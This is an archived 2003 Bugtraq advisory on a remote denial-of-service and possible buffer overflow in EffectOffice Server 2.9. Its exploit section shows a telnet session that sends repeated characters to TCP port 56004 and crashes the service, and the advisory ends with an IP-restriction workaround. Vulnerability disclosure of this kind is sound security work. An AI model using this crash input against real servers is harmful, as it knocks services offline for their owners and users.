lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Thu, 20 Nov 2003 22:03:11 +0300
From: "Alexander Antipov" <antipov@...urityLab.ru>
To: <bugtraq@...urityFocus.com>
Subject: [securitylab.ru] EffectOffice Server 2.9 problem


Application: EffectOffice Server 2.9
Vendor: EffectOffice
 Vendor Site: http://www.EffectOffice.com
 Remote: Yes
 Exploitable: Yes
 Risk level: High 
 Authors: D_BuG (d_bug @ bk.ru)
 Authors Site: http://www.securitylab.ru 
 
 Description: 
 A vulnerability identified in EffectOffice can be exploited by a
 malicious person to cause a Denial of Service and under specific
 condition can lead to buffer overflow with possibility of remote code
 execution.
 
 Remote user could send a specially crafted data to 56004 TCP port on
 target server to potentially cause the system to crash. 
 
 
 Exploit:
  
 hacker# telnet
 telnet open
 (to) attackhost 56004
 Trying attackhost......
 Connected to attackhost.
 Escape character is '^]'.
 aaaaaaaaaa
 aaaaaaaaaa
 aaaaaaaaaa
 aaaaaaaaaa
 ^]
 telnetclose
 telnetquit
 hacker#
 ...
 Crash service
 
 
 Workaround: Restrict access to the service allowing only connection
 attempts from trusted IPs if possible.
 




Powered by blists - more mailing lists